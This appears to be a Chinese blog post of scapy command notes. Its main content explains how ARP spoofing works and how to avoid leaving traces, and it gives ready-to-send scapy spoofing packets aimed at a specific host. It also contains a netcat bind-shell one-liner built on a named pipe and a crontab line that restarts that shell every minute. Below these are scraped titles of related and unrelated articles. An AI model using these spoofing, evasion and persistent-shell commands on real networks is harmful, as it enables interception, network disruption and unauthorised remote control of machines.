scapy 常用命令

ls() //查看支持的协议对象
lsc() //查看函数
show() //查看数据包结构
send() //三层发包
sr() //三层收发
sr1() //三层收发只收一 timeout指定超时 verbose指定详情
sendp() //二层发包
srp() //二层收发
srp1() //二层收发只收一 timeout指定超时 verbose指定详情

为什么选用op=1(who has)能欺骗成功, 而op=2(is-at)无法欺骗成功?

分析:

使用whohas 时,攻击机发送 who has 192.168.10.66 tell 192.168.10.1

所以当66主机接受到该询问包时,就会记录发送请求的 源IP 和 源MAC ,

而源IP是假的, 所以欺骗成功

而 使用is-at时,攻击机先询问 who has 192.168.10.66 tell 192.168.10.16

16是攻击机,所以此时目标66收到该询问包时就已经记录了 192.168.10.16 和 16的MAC

地址映射,而后发送的 192.168.10.1 is at 16的MAC 就已经没有用了

总结:

ARP欺骗一台主机,只有通过发送ARP请求包,对方才收到请求自己的MAC地址时,

会把源IP和源MAC映射记录,这一过程是欺骗的关键,也就是被动欺骗,通过op=2

主动和对方说某IP是某MAC地址这样的方式是不会被记录的。

为什么欺骗成功后,自己的真实的IP-MAC会被目标记录

因为如果直接ARP发包,不指名 Ether包,系统默认会先去请求目标端mac地址

这个过程就被记录了真实的,然后通过返回的目标mac构造第二层数据帧来发送

只要自己发送广播帧,就可以避免请求查询mac地址的这一过程,从而避免漏出痕迹

下面发包不带痕迹清理
send(ARP(psrc="192.168.10.1", pdst="192.168.10.66"));

下面是两个有效的发包(带痕迹清理)

监听模式
sendp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(psrc="192.168.10.1", pdst="192.168.10.66"))

防护模式
sendp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(psrc="192.168.10.16", hwsrc="8c:89:a5:8f:4a:d7", pdst="192.168.10.66"))

mkfifo /tmp/tmp_fifo
cat /tmp/tmp_fifo | /bin/sh 2>&1 | nc -l 端口 > /tmp/tmp_fifo
----------------------------------------------------------------
crontab -e
* * * * * sleep 0;cat /tmp/tmp_fifo | /bin/sh 2>&1 | nc -l 端口 > /tmp/tmp_fifo

每分钟执行一次命令

scapy 中的ARP的更多相关文章

  1. scapy构造打印ARP数据包

    ARP格式: 用于以太网的ARP请求/应答分组格式 各字段含义: 帧类型:表示数据部分用什么协议封装(0800表示IP,0806表示ARP,8035表示RARP). 硬件类型:表示硬件地址的类型(其中 ...

  2. 工作总结:将电脑中的ARP缓存清空黑屏命令

    ARP -d 将电脑中的ARP缓存清空ARP-a  查看arp缓存arp-s   ip与mac绑定

  3. python通过scapy模块进行arp断网攻击

    前言: 想实现像arpsoof一样的工具 arp断网攻击原理: 通过伪造IP地址与MAC地址实现ARP欺骗,在网络发送大量ARP通信量.攻击者 只要持续不断发送arp包就能造成中间人攻击或者断网攻击. ...

  4. TKE 容器网络中的 ARP Overflow 问题探究及其解决之道

    作者朱瑜坚,腾讯云后台开发工程师,熟悉 CNI 容器网络相关技术,负责腾讯云 TKE 的容器网络的构建和相关网络组件的开发维护工作,作为主力开发实现了 TKE 下一代容器网络方案. 1. 问题背景 1 ...

  5. scapy 中sniff指定的数据包并打印指定信息

    在理解这篇文章前可以先看看这两篇文章: https://www.cnblogs.com/liyuanhong/p/10925582.html https://www.cnblogs.com/liyua ...

  6. python scapy中sniffer的用法以及过滤器

    Sniff方法定义: sniff(filter="",iface="any", prn=function, count=N) 1.filter的规则使用 Ber ...

  7. 网络安全-主动信息收集篇第二章-二层网络扫描之scapy

    scapy是python第三方库文件,可以使用python进行调用也单独进行使用. 非常强大可以用于抓包.分析.创建.修改.注入网络流量. 使用scapy 详细使用方式可以查看github:https ...

  8. 从Linux内核角度看中间人攻击(ARP欺骗)并利用Python scapy实现

    邻居子系统与ARP协议 邻居子系统的作用就是将IP地址,转换为MAC地址,类似操作系统中的MMU(内存管理单元),将虚拟地址,转换为物理地址. 其中邻居子系统相当于地址解析协议(IPv4的ARP协议, ...

  9. Python scapy 实现一个简易 arp 攻击脚本

    原文链接:http://www.jianshu.com/p/df5918069612 scapy 是 python 写的一个功能强大的交互式数据包处理程序,可用来发送.嗅探.解析和伪造网络数据包,常常 ...

随机推荐

  1. Git 移动操作

    顾名思义移动(move )操作移动目录或文件从一个位置到另一个.Tom 决定移动到src目录下的源代码.因此,修改后的目录结构看起来会像这样. [tom@CentOS project]$ pwd /h ...

  2. Halcon 之dyn_threshold与threshold区别与用法

    相同点:都是为了选择想要的灰度区域 dyn_threshold (OrigImage, MeanImage, SmallRaw, 3, 'light')  //动态阈值分割 threshold()// ...

  3. 嵌入式开发之hi3519---进程线程间的同步和互斥,条件变量、信号了、互斥锁等

    sem_post 最安全 sem  有序,会卡顿 阻塞 mutex  无序,不能同步 http://blog.chinaunix.net/uid-20671208-id-4935154.html ht ...

  4. classifier in maven

    http://maven.apache.org/plugins/maven-deploy-plugin/examples/deploying-with-classifiers.html Beside ...

  5. [Tensorflow] Object Detection API - retrain mobileNet

    前言 一.专注话题 重点话题 Retrain mobileNet (transfer learning). Train your own Object Detector. 这部分讲理论,下一篇讲实践. ...

  6. 09观察者模式ObServer

    一.什么是观察者模式 Observer模式是行为模式之一,它的作用是当 一个对象的状态发生变化时,能够自动通知其他 关联对象,自动刷新对象状态. Observer模式提供给关联对象一种同步通信的 手段 ...

  7. 04单例模式Singleton

    一.什么是单例模式 单例模式是一种对象创建型模式,使用单例模式, 可以保证为一个类只生成唯一的实例对象.也就是说, 在整个程序空间中,该类只存在一个实例对象. 其实,GoF对单例模式的定义是:保证一个 ...

  8. [1]朝花夕拾-JAVA类的执行顺序

    最近在温习java的基础,刷题刷到java的执行顺序,很汗颜,答案回答错了! 题目类似如下: package com.phpdragon.study.base; public class ExecOr ...

  9. 查询Array中确定数值的对象&JS linq使用 = linq.js

    var x=new Array(); x.push({"a":3,"b":3},{"a":2,"b":2},{" ...

  10. 6.25html基础!

    <!DOCTYPE html> <html> <head> <title>form表单</title> </head> < ...